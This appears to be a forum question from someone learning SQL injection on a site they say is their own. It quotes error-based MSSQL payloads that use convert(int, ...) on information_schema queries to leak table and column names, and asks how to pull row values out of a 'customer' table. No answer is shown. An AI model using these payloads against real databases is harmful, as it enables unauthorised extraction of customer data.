Learning sql injection. i have found a sql injection on my site.
i can able to execute following query and retrieve table names and column name
Tablenames:
convert(int,(select top 1 table_name from information_schema.tables))
Columnames:
convert(int,(select top 1 column_name from information_schema.columns where table_name='customer' and column name not in('id'))
> Table structure:
>
> id nvarchar custid nvarchar
rows:
id custid --------- 1 1000 2 1001
i have found the following structre of the table.
But now i could not able to get the values in the row..
Tried:
convert(int,(select top 1 id from customer))--
in this query, it doesn't show any error and i could not get the row value.
Thought:
eventhough "id" column type is "nvarchar" it stores integer values, so on converting into int, doesn't cause error??
how to get values of row in this case??